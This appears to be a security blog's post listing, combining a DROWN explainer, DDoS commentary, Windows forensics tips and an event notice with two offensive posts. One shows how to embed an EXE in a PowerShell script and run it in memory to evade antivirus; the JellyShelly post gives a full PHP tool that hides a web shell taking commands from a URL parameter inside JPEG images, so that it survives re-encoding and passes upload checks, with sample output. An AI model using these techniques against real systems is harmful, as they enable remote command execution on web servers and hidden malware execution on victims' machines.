DROWN – How the deprecated SSLv2 protocol can compromise modern TLS connections

Last month a serious SSL/TLS vulnerability named “DROWN” – “Decrypting RSA with Obsolete and Weakened eNcryption” – broke the surface. In this article I will explore the mechanics of the attack and why it works. I wanted to have a closer look at DROWN because it is a beautiful hack and a prime example of how the mere existence of deliberately weakened ciphers hurts us still today, years after we’ve deprecated them. But first…

Some practical information

DROWN is a padding oracle attack that enables an attacker to obtain the session keys for, and hence decrypt, a captured TLS session by repeatedly probing the server using the SSLv2 protocol. Use of SSLv2 has long been deprecated by browsers and before DROWN it was believed that supporting SSLv2 was not a big issue since clients would never use it. However, DROWN shows us how merely supporting an outdated protocol like SSLv2 can pose a real threat to more modern protocols.

Is your server vulnerable?

A test for vulnerability, together with the essential practical information, has been published on a dedicated website:

https://drownattack.com/#check
https://drownattack.com/

A server is vulnerable if it supports SSLv2 with export-grade ciphers, or it shares its certificate with a server that does. At the time of disclosure (March 1st), that was 33% of HTTPS servers on the web.

The efforts of the attacker (feasibility)

The attacker has to passively eavesdrop about 1000 TLS connections to a vulnerable server in order to successfully decrypt a victim’s session. The attack requires the attacker to expend, for example, $440 on Amazon EC2 cloud computing platform during 8h of computation, or, in the case of OpenSSL that predates march 4, 2015, less than a minute on a single PC.

Dissecting the vulnerability

Now let’s have a look at what the vulnerability is. I won’t get into the underlying mathematics because they are, of course, quite involved. Here we go…

Decrypting a secure connection

In a secure connection the client and server negotiate secret session keys in order to be able to encrypt all the traffic of their session. This negotiation is called a “handshake”.

The secrecy of these session keys relies on the secrecy of a so-called “pre-master secret” (PMS) which is used by both server and client to derive the same session keys. During the handshake the client generates the PMS and sends it to the server in a message called “ClientKeyExchange” which is encrypted using the server’s public key.

So the problem for an eavesdropping attacker is to get the plain-text PMS from the encrypted “ClientKeyExchange” message.

Bleichenbacher’s Oracle

DROWN exploits the fact that SSLv2, because of support for weak 40-bit export-grade ciphers, is vulnerable to a kind of padding oracle attack that was first introduced by David Bleichenbacher in 1998. The DROWN researchers have shown us that this oracle can also be used to decrypt a modern TLS connection if the same certificate, hence the same RSA key pair, is used for serving both SSLv2 and TLS.

Bleichenbacher’s attack, and therefore also DROWN, applies to a particular padding scheme called “PKCS#1 v1.5” which is standard for RSA-based handshakes for both SSL and TLS. A padding scheme is used to expand a piece of plain-text to make it conform to the block size of a particular cipher algorithm.

Bleichenbacher showed how an attacker can deduce the plain-text contents of an encrypted message if the server discloses whether or not any submitted cipher-text is decrypted by the server into a correctly padded message according to the PKCS#1 v1.5 standard. Using a succession of chosen cipher-texts which are related to the target cipher-text, the attacker can then successively narrow the interval of possible values for the target plain-text. The submitted cipher-texts are successively refined based on the responses from the server and this is repeated until the interval of possible values for the target plain-text has been reduced to contain only the target plain-text itself. Bleichenbacher showed how this attack could be used on contemporary SSL handshakes to obtain the session keys of a recorded session.

The countermeasure for Bleichenbacher’s attack in SSL/TLS implementations is to protect the handshake by not letting the server disclose whether or not the “ClientKeyExchange” message contains a correctly padded PMS. Instead, if the server finds a wrongly padded PMS when decrypting the “ClientKeyExchange” message, then the server will randomly make up its own PMS and go ahead with the protocol. The protocol will then fail when the client and server exchange “finished” messages to conclude the handshake. The “finished” messages are encrypted using the derived session keys and if the server generated its own PMS, instead of getting it from the client, then the server’s derived session keys will not match whatever keys the client has come up with. The communication will then fail without having told the client whether or not the PMS was correctly padded and Bleichenbacher’s attack is therefore prevented.

With this countermeasure in mind we now note that if an attacker would send the same cipher-text twice then one of two things will happen: Either the cipher-text can be decrypted by the server into a correctly padded PMS message and the server will calculate session keys from the received PMS, or: The decrypted PMS will not be correctly padded and the server will randomly generate a PMS on its own. Having submitted the same cipher-text twice the first case will result in the server using same PMS twice to derive the session keys. The second case will result in two different randomly selected PMSs. So if there is a way for the attacker to tell if the server has used the same PMS twice when deriving the session keys then Bleichenbacher’s attack is re-enabled.

This is where the insufficiency of SSLv2 comes into play.

How SSLv2 breaks everything

SSLv2 has many flaws. Particularly two of them allow the attacker to learn whether or not the server has used the same PMS* for two handshakes.

(* In SSLv2 there actually is no “PMS”, instead there is a “Master Key”, also chosen by the client. But that’s beside the point and I’m going to keep referring to it as “PMS” for simplicity.)

Flaw 1: In the SSLv2 protocol (or at least all of its implementations) the server eagerly responds with a “ServerVerify” message immediately upon receiving the PMS, before the client has demonstrated knowledge of the session keys. The “ServerVerify” message is simply a random number, chosen by the client in the first stage of the handshake, encrypted using the server’s derived session key. The purpose of this message is to demonstrate to the client that the server knows its public key and has successfully derived the session keys.

Flaw 2: SSLv2 allows export-grade 40-bit encryption whose 2^40 key space can feasibly be searched by brute-force.

When exploiting these flaws the attacker will send its candidate cipher-text to the server and receive the “ServerVerify” message. The attacker will then perform a brute-force search over all 2^40 possibilities for the export-grade PMS to find the PMS that derives a server session key that successfully decrypts the “ServerVerify” message. The attacker will know when a brute-force attempt is successful because the message will then decrypt into the random number he has previously chosen.

Having found the PMS of the first message the attacker then submits the same candidate cipher-text again and receives the “ServerVerify” message. He now uses the PMS found from the first message to derive the server session key for this second session. If this server session key successfully decrypts the “ServerVerify” message then the attacker knows that the server has arrived at the same PMS twice, turning the server into a Bleichenbacher oracle.

This is DROWN: Bleichenbacher’s attack on RSA resurrected because of the weakness of SSLv2.

TLS is not SSL but…

There is one complication that an attacker must overcome in order to exploit DROWN to obtain the plain-text PMS from a victim’s TLS session: A “ClientKeyExchange” message for the TLS protocol does not necessarily conform to a 5-byte (40-bit) export-grade plain-text padded according to PKCS#1 v1.5. In fact, the chances that it does are pretty slim. However, it turns out that the attacker can apply cleverly chosen multiplication factors in order to greatly improve the chances of a target cipher-text being PKCS#1 v1.5 export-grade compliant. The attacker can expect success for about 1 in 1000 eavesdropped TLS connections.

Also the attack yields only a few plain-text bytes at a time because of the tiny key/PMS of the export-grade cipher. However this is a minor obstacle because the attacker can “rotate” the plain-text part exposed by the oracle to successively work out the full TLS PMS of the victim’s session. The underlying mathematics are quite involved and I refer the reader to the original paper for studying the details.

All-in-all, an attacker can expect to decrypt about 1 in 1000 recorded TLS sessions at the cost of $440 on Amazon EC2. Brute-forcing the “ServerVerify” message accounts for the larger part of the computational cost of performing the attack.

Special DROWN turns bad into worse!

This article has studied the general case. I would now like to turn your attention to “special DROWN”. When discovering DROWN the researches also discovered a bug in OpenSSL that was fixed by coincidence on March 4, 2015. This bug has been designated CVE-2016-0703 and the researchers were able to exploit it for DROWN to cut the number of required oracle connections by 50% and reduce the computational effort to perform in less than a minute on a single PC.

So, vulnerable OpenSSL installations that predate march 4 2015 cost essentially nothing to attack. The general DROWN attack has a significant price tag attached to it but one can expect it to be well within the business margin of a high-value target.

In conclusion, DROWN is a serious threat.

Posted in Security

Problematic denial of service attacks

If you are a regular reader of any relatively large Swedish newspaper, the recent attack on Swedish media this weekend probably have not escaped your notice. At approximately 20:00 Saturday evening on the 19th of March, a number of denial of service attacks began towards Swedish media websites.

Some of the confirmed victims were (source):
http://www.aftonbladet.se/
http://www.expressen.se/
http://www.dn.se/
http://www.svd.se/
http://www.sydsvenskan.se/
http://www.di.se/
http://www.hd.se/
http://vlt.se/
http://na.se/

Shortly before the attacks started a threat was made via a twitter account, saying that attacks were going to be aimed towards Swedish media and government websites in the following days.

notJ-Twitter

The reason for the attacks being “spreading false propaganda” is pretty vague but I’m not writing this article to speculate on that. A lot of people are speculating that the attacks originated from Russia since most (if not all) of the abusive traffic seemed to come from there. I don’t think we should focus too much on the Russian angle. It might as well be someone from inside Sweden who bought a botnet and want to test Its capacity. Think about it, if you wanted to buy a large amount of infected computers that are close to your targets in Sweden, where would you turn to first? I know where I would go at least.

Russia is a large country with a lot of Internet users (103,147,691) and there is a culture of selling botnets with infected Russian machines. This makes it ideal for someone looking to buy cheap bots. It’s also important to remember that there are no borders on the Internet. If you are an American wanting to attack a Russian server, you might as well use Russian bots simply because they are easy to acquire and are less hops away from the target machine. But it might of course also be a botnet from other countries, and not just Russia. It’s just that in this case it happened to come mostly from there.

Personally I find the low bandwidth types of denial of service very interesting, where you use a flaw in the application to either exhaust the server’s resources or to cause a crash via some sort of bug. I’m not too much of a fan of the regular distributed denial of service attacks where, if you scream loud enough, the infrastructure will give in to the pressure. But there are high traffic attacks that can be quite fascinating, like an NTP amplification attack. While I’m at it I would also like to mention the THC SSL DoS attack that was released in 2011 and is still usable today for stressing an SSL endpoint on a server.

I don’t know of the exact nature of the attack against the media websites but one could speculate that it could be a combination where a botnet would attack a resource on the target system that consumes a lot of resources, which could then effectively take down the server. One thought that crossed my mind was that some of these systems handle a large amount of traffic every day and was still taken down what seemed to be fairly simple.

Play with the thought of the perpetrators finding a page on these sites that either takes relatively lot of time to load because it has to make a large amount of queries to a database. Or let’s say they found a debug page that only says “hello world” and then does a bunch of background processing to test the back end server. It might not output any interesting data that an attacker can make use of (thus it being a low priority for the site maintainer to remove), but it can still be very useful in a denial of service attack.

Protecting against denial of service is not just as “one package” solution (even though there are packaged solutions that would surely help these sites a lot). The fact that these systems were taken down on a weekend, in the evening as well when. One would expect the traffic to be low, only shows how vulnerable these systems are. And it can also be seen as a message from the perpetrators saying that “we can do this whenever we want”, which then of course also messages other evil villains on the Internet that the Swedish media systems are easy targets.

Depending on the exact nature of the attack the solution to these problems will need some serious planning and dedication. Some of the solutions to denial of service issues are just a patch away, some not. If a large organisation with services that need to stay online wants to protect against these problems, they will also have to test against them. And I’m not only talking about the regular DDoS attack that overflows the infrastructure with too much data, but also the low bandwidth sneak attacks like Slowloris, slowpost, slowget, slowread and all other kinds of similar attacks (slow loading pages, crash flaws, SQL-injecting sleep calls, etc) that would need a security review to be discovered and properly taken care of. One solution that comes to mind is decentralization like Akamai has to offer, where a service can be spread out geographically so that a user accessing the service will get a node that is fewer hops away. This kind of setup also helps to mitigate denial of service attacks.

In this case it doesn’t really matter to me who actually carried out the attacks. It’s bad enough that the systems were all taken down, and the people responsible for those infrastructures need to learn from this and take action soon so that it won’t happen again. And this also makes you think about other critical infrastructure in the country, government websites, hospitals etc. Is it all just a catastrophe waiting to happen? Even if we were to find the one(s) responsible for these attacks the fact remains that a lot of sytems are vulnerable to some type of denial of service. The most future proof solution, generally, would be to build software architecture and infrastructure that solves these problems.

As of writing this the only attack so far was the one during Saturday night. The twitter account that made the initial threat has been removed (by whom is uncertain). Although it’s not confirmed that the attacks are actually linked to that specific account, the timing was just too good for it to be rejected as pure coincidence.

I would like to thank Emil Kvarnhammar, Marcus Murray, Stefan Ivarsson and Simon Strandberg for insightful input when writing this article.

Tagged with: ,
Posted in Security

Embedding EXE files into PowerShell scripts

As sometimes happens, when you solve a particular problem, you realize that the solution can be generalized to cover more scenarios than the one you had in mind. This is one of those stories.

I was trying to resolve an issue with creating a pure PowerShell payload as part of a client-side attack. Using PowerShell to run malicious code has many advantages, including:

  • No need to install anything on the target.
  • Very powerful engine underneath (e.g. you can directly invoke .NET code).
  • You can use base64-encoded commands to obfuscate your evil commands, making the attack a little less obvious to spot. This is also a way to avoid escaping all the special characters, especially in advanced attacks involving several steps to deliver the payload.
  • You can use Invoke-Expression to interpret strings as PowerShell commands. From a penetration tester’s perspective, this is very useful to avoid writing complex scripts on disk. For example, you can use PowerShell to download an additional (complex) script, and pipe it directly to Invoke-Expression, which will interpret and execute the downloaded script in memory, within the PowerShell process. This also avoid antivirus detection.

The payload I wanted to run on the target included fairly complex functionalities. I had those functionalities as part of an EXE file. I didn’t want to drop the binary on the target system since it could potentially trigger an antivirus. I wanted to use PowerShell, but I didn’t want to rewrite the whole thing in PowerShell.

So I came up with a solution.

The objective is to embed a binary into a PowerShell script, and run it from within the script without writing it on disk.

This is how the solution works:

1. Take your binary file and base64-encode it

You can use the following function:

function Convert-BinaryToString {

   [CmdletBinding()] param (

      [string] $FilePath

   )

   try {

      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);

   }

   catch {

      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";

   }

   if ($ByteArray) {

      $Base64String = [System.Convert]::ToBase64String($ByteArray);

   }

   else {

      throw '$ByteArray is $null.';

   }

   Write-Output -InputObject $Base64String;

}

2. Create a new script with the following:

  • The EXE converted to string created in point 1
  • The function Invoke-ReflectivePEInjection (part of the Powersploit project)
  • Convert the string to byte array
  • Call Invoke-ReflectivePEInjection

So basically your binary is just a string in the PowerShell script. Once decoded as a byte array, the function Invoke-ReflectivePEInjection (part of the Powersploit project) will run it in memory within the PowerShell process.

The final payload will look something like this:

# Your base64 encoded binary

$InputString = '...........'

function Invoke-ReflectivePEInjection

{

   ......
   ......
   ......

}

# Convert base64 string to byte array

$PEBytes = [System.Convert]::FromBase64String($InputString)

# Run EXE in memory

Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

You can now run the script on the target like this:

powershell -ExecutionPolicy Bypass -File payload.ps1

Depending on the binary you embedded, you might get the following error:

PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)

To fix the issue, simply run the 32 bit PowerShell:

%windir%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File payload.ps1

In the example below, I embedded plink.exe in payload.ps1

Capture - Copy

Pretty cool, uh?

Posted in Hacking

JellyShelly 1.7, progress has been made

So I decided it was time to update this script to make it easier to handle. I realized a little while ago that it was quite hard to use since this little trick doesn’t work on all images. Therefore if you wanted to inject code into an image, you would sometimes have to sit several hours, running the script over and over with different images until you got a hit. This isn’t optimal and therefore I have made some simple adjustments to the script.

By using one of the many neat placeholder image services online🙂.

Two of these are:

https://placehold.it/
http://lorempixel.com/

The first one only offers grey images, so I picked the second one which offers all kinds of images (which is more fun and stealthy). What the script will do now, is that it will simply download a random image of random size (100-1500 width/height) and use it to try to inject data. If it succeeds then it will save the result image (which you can later use with an upload function that uses the imagejpeg function). If it fails however, it will remove the image, and download a new one. At the moment the script will run until it succeeds.

Later on I might add some more advanced functionality, as well as a more refined and usable interface for the script. Two functions I wish to implement are re-sizing of images, and images where watermarks are added during the process.

Anyway, code!

<?php
ini_set('display_errors', 1);
error_reporting(E_PARSE);

$orig = 'image.jpg';
$code = '<?=exec($_GET["c"]))?>';
$quality = "80";
$base_url = "http://lorempixel.com";
/*$code = '<?php system($_GET["c"])?>';*/
/*$code = '<?=$a=`ls`?>';*/

echo "-=Imagejpeg injector 1.7=-\n";

do 
{
    $x = rand(100, 1500);
    $y = rand(100, 1500);
    $url = $base_url . "/$x/$y/";

    echo "[+] Fetching image ($x X $y)\n";
    file_put_contents($orig, file_get_contents($url));
} while(!tryInject($orig, $code, $quality));

echo "[+] It seems like it worked!\n";
echo "[+] Result file: image.jpg.php\n";

function tryInject($orig, $code, $quality)
{ 
    $result_file = 'image.jpg.php';
    $tmp_filename = $orig . '_mod2.jpg';

    //Create base image and load its data
    $src = imagecreatefromjpeg($orig);
    imagejpeg($src, $tmp_filename, $quality);
    $data = file_get_contents($tmp_filename);
    $tmpData = array();
     
    echo "[+] Jumping to end byte\n";
    $start_byte = findStart($data);
     
    echo "[+] Searching for valid injection point\n";
    for($i = strlen($data)-1; $i > $start_byte; --$i)
    {
        $tmpData = $data;
        for($n = $i, $z = (strlen($code)-1); $z >= 0; --$z, --$n)
        {
            $tmpData[$n] = $code[$z];
        }
     
        $src = imagecreatefromstring($tmpData);
        imagejpeg($src, $result_file, $quality);
     
        if(checkCodeInFile($result_file, $code))
        {
            unlink($tmp_filename);
            unlink($result_file);
            sleep(1);
     
            file_put_contents($result_file, $tmpData);
            echo "[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed\n";
     
            sleep(1);
            $src = imagecreatefromjpeg($result_file);

            return true;
        }
        else
        {
            unlink($result_file);
        }
    }
    	unlink($orig);
    	unlink($tmp_filename);
    	return false; 
}

function findStart($str)
{
    for($i = 0; $i < strlen($str); ++$i)
    {
        if(ord($str[$i]) == 0xFF && ord($str[$i+1]) == 0xDA)
        {
            return $i+2;
        }
    }
 
    return -1;
}
 
function checkCodeInFile($file, $code)
{
    if(file_exists($file))
    {
        $contents = loadFile($file);
    }
    else
    {
        $contents = "0";
    }
 
    return strstr($contents, $code);
}
 
function loadFile($file)
{
    $handle = fopen($file, "r");
    $buffer = fread($handle, filesize($file));
    fclose($handle);
 
    return $buffer;
}

Some sample output

-=Imagejpeg injector 1.7=-
[+] Fetching image (1409 X 934)
[+] Jumping to end byte
[+] Searching for valid injection point
[!] Temp solution, if you get a 'recoverable parse error' here, it means it probably failed
[+] It seems like it worked!
[+] Result file: image.jpg.php

An important note about the current state of the script is the “Temp solution” message.
What it means is that if you get an error such as the one below, then it most likely means that the process failed.

In which case you should restart the script. This happens from time to time and is so far something that I haven’t been able to detect, and thus not been able to automate the handling of it. If anyone has a solution for that issue, feel free to comment below.

PHP Parse error: imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error:
in Workspace/jellyshell/jellyauto.php on line 63

Parse error: imagecreatefromjpeg(): gd-jpeg, libjpeg: recoverable error:
in Workspace/jellyshell/jellyauto.php on line 63

 

Tagged with: , , ,
Posted in Hacking

Generating a useful file listing using PowerShell

When trying to figure out what happened on a machine during a specific time-frame, a sorted file listing is quite useful.

There are several ways of going about it when creating one, and as requested, here’s the way I do it in PowerShell.


Get-ChildItem -Recurse | Sort-Object CreationTime | Format-Table CreationTime,FullName -auto

Tagged with:
Posted in General

How to enable PreFetch in Windows Server

Yesterday I held a presentation on forensics and incident response at the TrueSec Security Summit.

One of the major challenges when responding to a breach is figuring out exactly what an attacker has done on a machine. Did they dump hashes? Install a backdoor? Pivot to another machine by spawning a shell using PsExec?

A great place to see which executables that have been run on a system is looking in the prefetch folder, and parsing the files within. While prefetch is a mechanism used to speed up system boot and/or application launch, the metadata contained in these files are a goldmine when trying to piece together a timeline and attack scenario.

However, since Windows Servers aren’t usually used interactively, Microsoft has made the decision to deactivate prefetch by default. It’s a sound decision, as any unnecessary services increase the attack surface, and theoretically have a performance impact. However, when a system is breached, it will be used interactively, and as we’re interested in figuring out exactly how it’s been used, we’d really love to enable this functionality.

In previous versions of Windows Server this was easily done by adding a registry key. In Windows Server 2012, you have to do a bit more. It’s not a complicated operation, but finding out how is a different matter…

So, in order to enable prefetch for applications on Windows Server 2012, simply do the following in an administrative PowerShell console:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnablePrefetcher /t REG_DWORD /d 3 /f

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Prefetcher" /v MaxPrefetchFiles /t REG_DWORD /d 8192 /f

Enable-MMAgent –OperationAPI

net start sysmain

And there you have it. You don’t even have to reboot.

Tagged with: , ,
Posted in General

Speaking at Security Summit in Stockholm

My colleagues at TrueSec and I, are inviting you to a dedicated Security Summit the 24th of November 2015 at Hotel Rival in Stockholm. A conference day full of practical and eye-opening demos. We will teach you all about the latest security threats, data breaches and how secure your systems.

During my session Hacking mobile devices, I will show you how threats against internal systems and sensitive information are changing through the increased use of mobile devices.
I’ll show how both iOS and Android devices are attacked, to steal credentials and other sensitive data.

All sessions are in Swedish. Join us & sign up here www.securitysummit.se

Get our latest updates through Twitter @TrueSec_Se or #secsummit

Tagged with: ,
Posted in Hacking
Categories
Follow

Get every new post delivered to your Inbox.